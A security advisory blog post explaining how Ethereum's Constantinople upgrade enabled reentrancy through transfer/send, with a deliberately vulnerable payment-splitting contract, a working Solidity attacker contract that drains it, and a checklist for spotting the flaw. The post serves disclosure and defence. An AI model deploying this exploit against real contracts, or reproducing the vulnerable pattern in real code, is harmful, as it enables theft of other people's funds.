Back to Overview

Constantinople enables new Reentrancy Attack

January 15, 2019

The upcoming Constantinople Upgrade for the ethereum network introduces cheaper gas cost for certain SSTORE operations. As an unwanted side effect, this enables reentrancy attacks when using address.transfer(...) or address.send(...) in Solidity smart contracts. Previously these functions were considered reentrancy-safe, which they aren’t any longer.

What’s wrong with this code?

Following is a short smart contract which is not vulnerable to an reentrancy attack before Constantinople, but vulnerable afterwards. You can find the full source code including the attacker contract on our #GitHub

pragma solidity ^0.5.0;

contract PaymentSharer {
  mapping(uint => uint) splits;
  mapping(uint => uint) deposits;
  mapping(uint => address payable) first;
  mapping(uint => address payable) second;

  function init(uint id, address payable _first, address payable _second) public {
    require(first[id] == address(0) && second[id] == address(0));
    require(first[id] == address(0) && second[id] == address(0));
    first[id] = _first;
    second[id] = _second;
  }

  function deposit(uint id) public payable {
    deposits[id] += msg.value;
  }

  function updateSplit(uint id, uint split) public {
    require(split <= 100);
    splits[id] = split;
  }

  function splitFunds(uint id) public {
    // Here would be: 
    // Signatures that both parties agree with this split

    // Split
    address payable a = first[id];
    address payable b = second[id];
    uint depo = deposits[id];
    deposits[id] = 0;

    a.transfer(depo * splits[id] / 100);
    b.transfer(depo * (100 - splits[id]) / 100);
  }
}

This code is vulnerable in an unexpected way: It simulates a secure treasury sharing service. Two parties can jointly receive funds, decide on how to split them, and receive a payout if they agree*. An attacker will create such a pair with where the first address is the attacker contract listed below and the second address is any attacker account. For this pair the attacker will deposit some money.

pragma solidity ^0.5.0;

import "./PaymentSharer.sol";

contract Attacker {
  address private victim;
  address payable owner;

  constructor() public {
    owner = msg.sender;
  }

  function attack(address a) external {
    victim = a;
    PaymentSharer x = PaymentSharer(a);
    x.updateSplit(0, 100);
    x.splitFunds(0);
  }

  function () payable external {
    address x = victim;
    assembly{
        mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000)
        pop(call(10000, x, 0, 0x80, 0x44, 0, 0))
    }    
  }

  function drain() external {
    owner.transfer(address(this).balance);
  }
}

The attacker will call the attack function on his own contract, so that the following events unfold within one transaction:

  1. The attacker sets the current split using updateSplit in order to make sure that the update later will be cheap. This is the effect of the Constatinople upgrade. The attacker sets the split in such a way that his first address (the contract) is supposed to receive all of the funds.
  2. The attacker contract calls the splitFunds function, which will perform the checks*, and send the full deposit of this pair to the contract using a transfer.
  3. From to the fallback function, the attacker updates the split again, this time assigning all funds to his second account.
  4. The execution of splitFunds continues and the full desposit is also transferred to the second attacker account.


In short, the attacker just stole other people’s ether out of the PaymentSharer contract and can continue to do so.

Why is this attackable now?

Before Constantinople, every storage operation would cost at least 5000 gas. This far exceeded the gas stipend of 2300 sent along when calling a contract usingtransfer or send.

After Constantinople, storage operations which are changing “dirty” storage slots cost only 200 gas. To cause a storage slot to be dirty, it has to be changed during the ongoing transaction. As shown above, this can often be achieved by an attacker contract through calling some public function which changes the required variable. Afterwards, by causing the vulnerable contract to call the attacker contract e.g. with msg.sender.transfer(...) the attacker contract can use the 2300 gas stipend to manipulate the vulnerable contract’s variable successfully.

Certain preconditions have to be met to make a contract vulnerable:
1. There must be a function A, in which a transfer/send is followed by a state-changing operation. This can sometimes be non-obvious, e.g. a second transfer or an interaction with another smart contract.
2. There has to be a function B accessible from the attacker which (a) changes state and (b) whose state changes conflict with those of function A.
3. Function B needs to be executable with less than 1600 gas
(2300 gas stipend - 700 gas for the CALL).

Is my smart contract vulnerable?

To test if you are vulnerable:
(a) check if there are any operations following a transfer event.
(b) check if those operations change storage state, most often by assigning some storage variable. If you are calling another contract, e.g. a tokens transfer method, check which variables are modified. Make a list.
(c) check if any other method accessible from non-admins in your contract uses one of these variables
(d) check if these methods change storage state themselves
(e) check if the method is below 2300 in gas, keeping in mind that SSTORE operations are potentially only 200 gas.


If all of this is the case, it is likely that an attacker can cause your contract to get into an undesirable state. Overall, this is another reminder why the Checks-Effects-Interactions Pattern is so important.

Are there vulnerable smart contracts out there?

A scan of the main ethereum blockchain using the data available from eveem.org did not uncover vulnerable smart contracts. We are working together with members of the ethsecurity.org working group to expand this scan to the complex smart contracts which haven’t been decompiled yet. Especially decentralized exchanges which frequently call ether transfer functions to untrusted accounts followed by state changes afterwards might be vulnerable. Our static analyzer at https://securify.chainsecurity.com can detect potential reentrancy attacks and we have open-sourced the relevant pattern on https://github.com/eth-sri/securify. Please keep in mind that a warning of an reentrancy attack is in many cases not exploitable, but needs careful analysis.

Thanks

Special thanks go out to Ralph Pichler for the initial discussions which highlighted this new attack vector.

Without the work of Tomasz Kolinko on decompiling smart contracts using symbolic execution we wouldn’t have been able to quickly scan most of Ethereums smart contracts. We will open-source the project as soon as all contracts have been secured.

* During this part the contract would check for fresh signatures from both parties to avoid front-running and other issues. We omit this part for readability as it does not influence the actual attack.